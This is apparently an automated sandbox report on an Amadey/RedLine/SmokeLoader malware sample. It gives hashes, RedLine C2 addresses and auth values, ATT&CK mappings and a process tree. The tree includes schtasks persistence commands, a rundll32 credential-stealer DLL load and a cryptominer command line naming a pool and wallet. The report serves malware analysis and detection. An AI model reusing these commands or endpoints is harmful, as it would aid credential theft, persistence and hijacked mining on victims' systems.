amadey | f14a6a9dab709deb02cd549fd88514dd84d454d254ec174bad834265f126ee39

Analysis

max time kernel
130s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
31-10-2022 20:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f14a6a9dab709deb02cd549fd88514dd84d454d254ec174bad834265f126ee39.exe
Size

210KB
MD5

710a7926da9ff95dd8c78e5e19387d8f
SHA1

cdc855c14fd60fc52524d7288921b31c22b7c67d
SHA256

f14a6a9dab709deb02cd549fd88514dd84d454d254ec174bad834265f126ee39
SHA512

06a0f37324d6921324732c06c34663110f72ffbec881dc247f7b21bd07c7bf5c0e359925ff074937a25326f8452ed5f427814e5ab540d16d2a79070f08951ee9
SSDEEP

3072:I7tMw36RdY+40CLajvq6sf54rWwzPafB6V+04md3/Btx:I7qRR6+4dLajvqGlzPPLTd3/Bt

Score

10^/10

amadey redline smokeloader 31.10 google2 slovarik15btc backdoor collection infostealer spyware stealer trojan

Malware Config

Extracted

Family

redline

Botnet

slovarik15btc

78.153.144.3:2510

Attributes

auth_value
bfedad55292538ad3edd07ac95ad8952

Extracted

Family

redline

Botnet

31.10

194.87.218.5:9630

Attributes

auth_value
6223ceba7350b5fdfd29a51c01ad5fdb

Extracted

Family

redline

Botnet

Google2

167.235.71.14:20469

Attributes

auth_value
fb274d9691235ba015830da570a13578

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect Amadey credential stealer module 2 IoCs

resource	yara_rule
behavioral1/files/0x001700000001f01a-272.dat	amadey_cred_module
behavioral1/files/0x001700000001f01a-273.dat	amadey_cred_module

Detects Smokeloader packer 1 IoCs

resource	yara_rule
behavioral1/memory/3248-133-0x00000000006F0000-0x00000000006F9000-memory.dmp	family_smokeloader

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

resource	yara_rule
behavioral1/memory/2276-149-0x0000000000F50000-0x0000000000F78000-memory.dmp	family_redline
behavioral1/memory/3920-209-0x0000000000940000-0x0000000000968000-memory.dmp	family_redline
behavioral1/memory/2260-239-0x0000000000F90000-0x0000000000FB8000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
51	4820	rundll32.exe

Downloads MZ/PE file

Executes dropped EXE 11 IoCs

pid	Process
2964	5F95.exe
2372	65C0.exe
5088	rovwer.exe
4520	7716.exe
2112	7DFD.exe
4556	8409.exe
1568	sSeHUCuHsBSBcKeEcBeUHbHSCsEaUkBhCFKshABHcshBEBHUFEKsBUU.exe
1644	LYKAA.exe
5028	9C16.exe
672	rovwer.exe
3084	urwfjte

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	65C0.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	rovwer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	8409.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	LYKAA.exe

Loads dropped DLL 4 IoCs

pid	Process
2072	InstallUtil.exe
2072	InstallUtil.exe
2072	InstallUtil.exe
4820	rundll32.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 2964 set thread context of 2276	2964	5F95.exe	96
PID 4520 set thread context of 2072	4520	7716.exe	103
PID 5028 set thread context of 3920	5028	9C16.exe	115
PID 2112 set thread context of 2260	2112	7DFD.exe	122
PID 1644 set thread context of 2476	1644	LYKAA.exe	125

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
540	2372	WerFault.exe	91

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	f14a6a9dab709deb02cd549fd88514dd84d454d254ec174bad834265f126ee39.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	f14a6a9dab709deb02cd549fd88514dd84d454d254ec174bad834265f126ee39.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	f14a6a9dab709deb02cd549fd88514dd84d454d254ec174bad834265f126ee39.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
5068	schtasks.exe
2240	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3368	timeout.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3248	f14a6a9dab709deb02cd549fd88514dd84d454d254ec174bad834265f126ee39.exe
3248	f14a6a9dab709deb02cd549fd88514dd84d454d254ec174bad834265f126ee39.exe
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2440	Process not Found

Suspicious behavior: MapViewOfSection 19 IoCs

pid	Process
3248	f14a6a9dab709deb02cd549fd88514dd84d454d254ec174bad834265f126ee39.exe
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found
2440	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeDebugPrivilege	1568	sSeHUCuHsBSBcKeEcBeUHbHSCsEaUkBhCFKshABHcshBEBHUFEKsBUU.exe
Token: SeDebugPrivilege	1644	LYKAA.exe
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeDebugPrivilege	2276	vbc.exe
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found
Token: SeCreatePagefilePrivilege	2440	Process not Found
Token: SeShutdownPrivilege	2440	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 2964	2440	Process not Found	89
PID 2440 wrote to memory of 2964	2440	Process not Found	89
PID 2440 wrote to memory of 2964	2440	Process not Found	89
PID 2440 wrote to memory of 2372	2440	Process not Found	91
PID 2440 wrote to memory of 2372	2440	Process not Found	91
PID 2440 wrote to memory of 2372	2440	Process not Found	91
PID 2372 wrote to memory of 5088	2372	65C0.exe	93
PID 2372 wrote to memory of 5088	2372	65C0.exe	93
PID 2372 wrote to memory of 5088	2372	65C0.exe	93
PID 2964 wrote to memory of 2276	2964	5F95.exe	96
PID 2964 wrote to memory of 2276	2964	5F95.exe	96
PID 2964 wrote to memory of 2276	2964	5F95.exe	96
PID 2964 wrote to memory of 2276	2964	5F95.exe	96
PID 2964 wrote to memory of 2276	2964	5F95.exe	96
PID 2440 wrote to memory of 4520	2440	Process not Found	97
PID 2440 wrote to memory of 4520	2440	Process not Found	97
PID 2440 wrote to memory of 4520	2440	Process not Found	97
PID 5088 wrote to memory of 2240	5088	rovwer.exe	98
PID 5088 wrote to memory of 2240	5088	rovwer.exe	98
PID 5088 wrote to memory of 2240	5088	rovwer.exe	98
PID 2440 wrote to memory of 2112	2440	Process not Found	100
PID 2440 wrote to memory of 2112	2440	Process not Found	100
PID 2440 wrote to memory of 2112	2440	Process not Found	100
PID 2440 wrote to memory of 4556	2440	Process not Found	102
PID 2440 wrote to memory of 4556	2440	Process not Found	102
PID 4520 wrote to memory of 2072	4520	7716.exe	103
PID 4520 wrote to memory of 2072	4520	7716.exe	103
PID 4520 wrote to memory of 2072	4520	7716.exe	103
PID 4520 wrote to memory of 2072	4520	7716.exe	103
PID 4520 wrote to memory of 2072	4520	7716.exe	103
PID 4520 wrote to memory of 2072	4520	7716.exe	103
PID 4520 wrote to memory of 2072	4520	7716.exe	103
PID 4520 wrote to memory of 2072	4520	7716.exe	103
PID 4556 wrote to memory of 1568	4556	8409.exe	104
PID 4556 wrote to memory of 1568	4556	8409.exe	104
PID 1568 wrote to memory of 3988	1568	sSeHUCuHsBSBcKeEcBeUHbHSCsEaUkBhCFKshABHcshBEBHUFEKsBUU.exe	105
PID 1568 wrote to memory of 3988	1568	sSeHUCuHsBSBcKeEcBeUHbHSCsEaUkBhCFKshABHcshBEBHUFEKsBUU.exe	105
PID 3988 wrote to memory of 3368	3988	cmd.exe	107
PID 3988 wrote to memory of 3368	3988	cmd.exe	107
PID 3988 wrote to memory of 1644	3988	cmd.exe	108
PID 3988 wrote to memory of 1644	3988	cmd.exe	108
PID 1644 wrote to memory of 5032	1644	LYKAA.exe	109
PID 1644 wrote to memory of 5032	1644	LYKAA.exe	109
PID 5032 wrote to memory of 5068	5032	cmd.exe	111
PID 5032 wrote to memory of 5068	5032	cmd.exe	111
PID 2440 wrote to memory of 5028	2440	Process not Found	112
PID 2440 wrote to memory of 5028	2440	Process not Found	112
PID 2440 wrote to memory of 5028	2440	Process not Found	112
PID 2440 wrote to memory of 3000	2440	Process not Found	114
PID 2440 wrote to memory of 3000	2440	Process not Found	114
PID 2440 wrote to memory of 3000	2440	Process not Found	114
PID 2440 wrote to memory of 3000	2440	Process not Found	114
PID 5028 wrote to memory of 3920	5028	9C16.exe	115
PID 5028 wrote to memory of 3920	5028	9C16.exe	115
PID 5028 wrote to memory of 3920	5028	9C16.exe	115
PID 5028 wrote to memory of 3920	5028	9C16.exe	115
PID 5028 wrote to memory of 3920	5028	9C16.exe	115
PID 2440 wrote to memory of 4104	2440	Process not Found	116
PID 2440 wrote to memory of 4104	2440	Process not Found	116
PID 2440 wrote to memory of 4104	2440	Process not Found	116
PID 2440 wrote to memory of 396	2440	Process not Found	117
PID 2440 wrote to memory of 396	2440	Process not Found	117
PID 2440 wrote to memory of 396	2440	Process not Found	117
PID 2440 wrote to memory of 396	2440	Process not Found	117

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe

C:\Users\Admin\AppData\Local\Temp\f14a6a9dab709deb02cd549fd88514dd84d454d254ec174bad834265f126ee39.exe
"C:\Users\Admin\AppData\Local\Temp\f14a6a9dab709deb02cd549fd88514dd84d454d254ec174bad834265f126ee39.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3248

C:\Users\Admin\AppData\Local\Temp\5F95.exe
C:\Users\Admin\AppData\Local\Temp\5F95.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2964
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2276

C:\Users\Admin\AppData\Local\Temp\65C0.exe
C:\Users\Admin\AppData\Local\Temp\65C0.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
  "C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rovwer.exe /TR "C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2240
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\80b59841e5c623\cred64.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Accesses Microsoft Outlook profiles
    - outlook_win_path
    PID:4820
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 1136
  2⤵
  - Program crash
  PID:540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 2372 -ip 2372
1⤵
PID:1820

C:\Users\Admin\AppData\Local\Temp\7716.exe
C:\Users\Admin\AppData\Local\Temp\7716.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4520
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  2⤵
  - Loads dropped DLL
  PID:2072

C:\Users\Admin\AppData\Local\Temp\7DFD.exe
C:\Users\Admin\AppData\Local\Temp\7DFD.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2112
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  PID:2260

C:\Users\Admin\AppData\Local\Temp\8409.exe
C:\Users\Admin\AppData\Local\Temp\8409.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4556
- C:\Users\Admin\AppData\Roaming\sSeHUCuHsBSBcKeEcBeUHbHSCsEaUkBhCFKshABHcshBEBHUFEKsBUU.exe
  "C:\Users\Admin\AppData\Roaming\sSeHUCuHsBSBcKeEcBeUHbHSCsEaUkBhCFKshABHcshBEBHUFEKsBUU.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp89A2.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3988
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:3368
  - - C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
      "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1644
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5032
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:5068
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RKsS6XcgidDNc8rU38Yiv5STQutyMUu9A4.installs001 -p x -t 6
        5⤵
        
        PID:2476
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        
        PID:3176

C:\Users\Admin\AppData\Local\Temp\9C16.exe
C:\Users\Admin\AppData\Local\Temp\9C16.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5028
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  PID:3920

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3000

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4104

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:396

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4072

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1748

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4496

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2860

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1584

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:548

C:\Users\Admin\AppData\Roaming\urwfjte
C:\Users\Admin\AppData\Roaming\urwfjte
1⤵
- Executes dropped EXE
PID:3084

C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
1⤵
- Executes dropped EXE
PID:672

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe

Filesize
837KB

MD5
9796f845b710c1e68ee9f93592503665

SHA1
9be7d53dfa928f3a4ff37146a0ec1ef9a62c3c51

SHA256
2c0d646f8dbe3bc19c6d85ba819af553d68a1d4ce61a3e9f843566d35f240d8f

SHA512
c5f0f2fba732f9ba484e0ee0d672f488c1f7c454f1b549e348dea86f96e5bc706e8e634bb1cdab3f52d16af9ac8bb29505bf5905d47386b04a5905dc6b5e5135

Download Submit
C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe

Filesize
837KB

MD5
9796f845b710c1e68ee9f93592503665

SHA1
9be7d53dfa928f3a4ff37146a0ec1ef9a62c3c51

SHA256
2c0d646f8dbe3bc19c6d85ba819af553d68a1d4ce61a3e9f843566d35f240d8f

SHA512
c5f0f2fba732f9ba484e0ee0d672f488c1f7c454f1b549e348dea86f96e5bc706e8e634bb1cdab3f52d16af9ac8bb29505bf5905d47386b04a5905dc6b5e5135

Download Submit
C:\Users\Admin\AppData\LocalLow\mozglue.dll

Filesize
612KB

MD5
f07d9977430e762b563eaadc2b94bbfa

SHA1
da0a05b2b8d269fb73558dfcf0ed5c167f6d3877

SHA256
4191faf7e5eb105a0f4c5c6ed3e9e9c71014e8aa39bbee313bc92d1411e9e862

SHA512
6afd512e4099643bba3fc7700dd72744156b78b7bda10263ba1f8571d1e282133a433215a9222a7799f9824f244a2bc80c2816a62de1497017a4b26d562b7eaf

Download Submit
C:\Users\Admin\AppData\LocalLow\nss3.dll

Filesize
1.9MB

MD5
f67d08e8c02574cbc2f1122c53bfb976

SHA1
6522992957e7e4d074947cad63189f308a80fcf2

SHA256
c65b7afb05ee2b2687e6280594019068c3d3829182dfe8604ce4adf2116cc46e

SHA512
2e9d0a211d2b085514f181852fae6e7ca6aed4d29f396348bedb59c556e39621810a9a74671566a49e126ec73a60d0f781fa9085eb407df1eefd942c18853be5

Download Submit
C:\Users\Admin\AppData\LocalLow\sqlite3.dll

Filesize
1.0MB

MD5
dbf4f8dcefb8056dc6bae4b67ff810ce

SHA1
bbac1dd8a07c6069415c04b62747d794736d0689

SHA256
47b64311719000fa8c432165a0fdcdfed735d5b54977b052de915b1cbbbf9d68

SHA512
b572ca2f2e4a5cc93e4fcc7a18c0ae6df888aa4c55bc7da591e316927a4b5cfcbdda6e60018950be891ff3b26f470cc5cce34d217c2d35074322ab84c32a25d1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

Filesize
2KB

MD5
1f5b2fb087be05026a47d87b0471c411

SHA1
9f012480d0402c7200ff48576daaf6adf63125cc

SHA256
3a12e1bfa36873489b21ac589cb27792a417eb2e55f4622c53c224934ff05527

SHA512
003aeb76f6e1be9b201f7ba83d27609e59433596b3dab7afe15790b422cc9cd8a10ea5e36d96dea0cf01a86928dedd1d06d42489e9ae60c460f55aa93d9f5c51

Download Submit
C:\Users\Admin\AppData\Local\Temp\5F95.exe

Filesize
366KB

MD5
9bf62799fd46f2aa9c763fcc0002766f

SHA1
3fdea89b23c859712c920e82fbb1cd0e030b5481

SHA256
195f5974f6237399d1cab32a24dea4fad911a0b3fb9e5ac3e48de6d136cc98b1

SHA512
6d6b43373f34b05d8ebcdf0dcde1fb1bb4c96509a6f8322ad2454c0e047fc7cbbcc575b927793a2d3f4aad02a1be7bf8a304b1586b29c2fbaafa366895f33dac

Download Submit
C:\Users\Admin\AppData\Local\Temp\5F95.exe

Filesize
366KB

MD5
9bf62799fd46f2aa9c763fcc0002766f

SHA1
3fdea89b23c859712c920e82fbb1cd0e030b5481

SHA256
195f5974f6237399d1cab32a24dea4fad911a0b3fb9e5ac3e48de6d136cc98b1

SHA512
6d6b43373f34b05d8ebcdf0dcde1fb1bb4c96509a6f8322ad2454c0e047fc7cbbcc575b927793a2d3f4aad02a1be7bf8a304b1586b29c2fbaafa366895f33dac

Download Submit
C:\Users\Admin\AppData\Local\Temp\65C0.exe

Filesize
269KB

MD5
7a243e72e93b1fc13ed2bfa8cbb76b15

SHA1
eb026a5f5b25f63a821eb9e40e06ccea547c1215

SHA256
32af50f6116406a949220efdc2859519190c4f7496ef1dccba03bcd2df4724fb

SHA512
221ee37dac594dafe273a858dd176849e52458c50a1064e3b3a949bf0763544ebbffbda584594e2428b597390c4bd91fefdc9d5e77ebf360b86b489581c63c39

Download Submit
C:\Users\Admin\AppData\Local\Temp\65C0.exe

Filesize
269KB

MD5
7a243e72e93b1fc13ed2bfa8cbb76b15

SHA1
eb026a5f5b25f63a821eb9e40e06ccea547c1215

SHA256
32af50f6116406a949220efdc2859519190c4f7496ef1dccba03bcd2df4724fb

SHA512
221ee37dac594dafe273a858dd176849e52458c50a1064e3b3a949bf0763544ebbffbda584594e2428b597390c4bd91fefdc9d5e77ebf360b86b489581c63c39

Download Submit
C:\Users\Admin\AppData\Local\Temp\7716.exe

Filesize
1.2MB

MD5
b67545f8f9bcc95c2efca01d65d4c429

SHA1
062c213d68a70dfdaef4bc9828fbfd8ec0e0dbaf

SHA256
5c5b2716906f6be939574770f2ce1822dd3d4874dc1924a82096bccc377afde4

SHA512
4ca32731de173cc6a71f5b76ec94b98d340e3186f52719bdc7ed79849c5b2c4d5b2952c33e20716ce9af35d50d0e962521904a4a8d977e182dc3aabfdfa3d563

Download Submit
C:\Users\Admin\AppData\Local\Temp\7716.exe

Filesize
1.2MB

MD5
b67545f8f9bcc95c2efca01d65d4c429

SHA1
062c213d68a70dfdaef4bc9828fbfd8ec0e0dbaf

SHA256
5c5b2716906f6be939574770f2ce1822dd3d4874dc1924a82096bccc377afde4

SHA512
4ca32731de173cc6a71f5b76ec94b98d340e3186f52719bdc7ed79849c5b2c4d5b2952c33e20716ce9af35d50d0e962521904a4a8d977e182dc3aabfdfa3d563

Download Submit
C:\Users\Admin\AppData\Local\Temp\7DFD.exe

Filesize
366KB

MD5
d5fc492ae5bccfd2ff1b17267a02ba6d

SHA1
4d6531bc0bdec8bb5f40c8173c6218d8df295166

SHA256
a33133d206745cb5c59f577a858a23181904f7c5f0cb9f0fd4692e16d171c5f8

SHA512
6ef85c305f9003426846e8d0a031a59d35ed7fa3c12a95cef031ac1e1826fe0991a62ec8860b1b4dcd259a9fff2ac91de2a92ea8087db8a13a0464461bbac9bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\7DFD.exe

Filesize
366KB

MD5
d5fc492ae5bccfd2ff1b17267a02ba6d

SHA1
4d6531bc0bdec8bb5f40c8173c6218d8df295166

SHA256
a33133d206745cb5c59f577a858a23181904f7c5f0cb9f0fd4692e16d171c5f8

SHA512
6ef85c305f9003426846e8d0a031a59d35ed7fa3c12a95cef031ac1e1826fe0991a62ec8860b1b4dcd259a9fff2ac91de2a92ea8087db8a13a0464461bbac9bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\8409.exe

Filesize
1.1MB

MD5
3cbeec829f400bbc837e6cedf044a6cb

SHA1
b6906942e53a1482069c123ca7f127cdf50c25fc

SHA256
f2ba48f9b1da2b3971f2e70b772a4d6fc503eb4b890fca1923b322687b77dd9f

SHA512
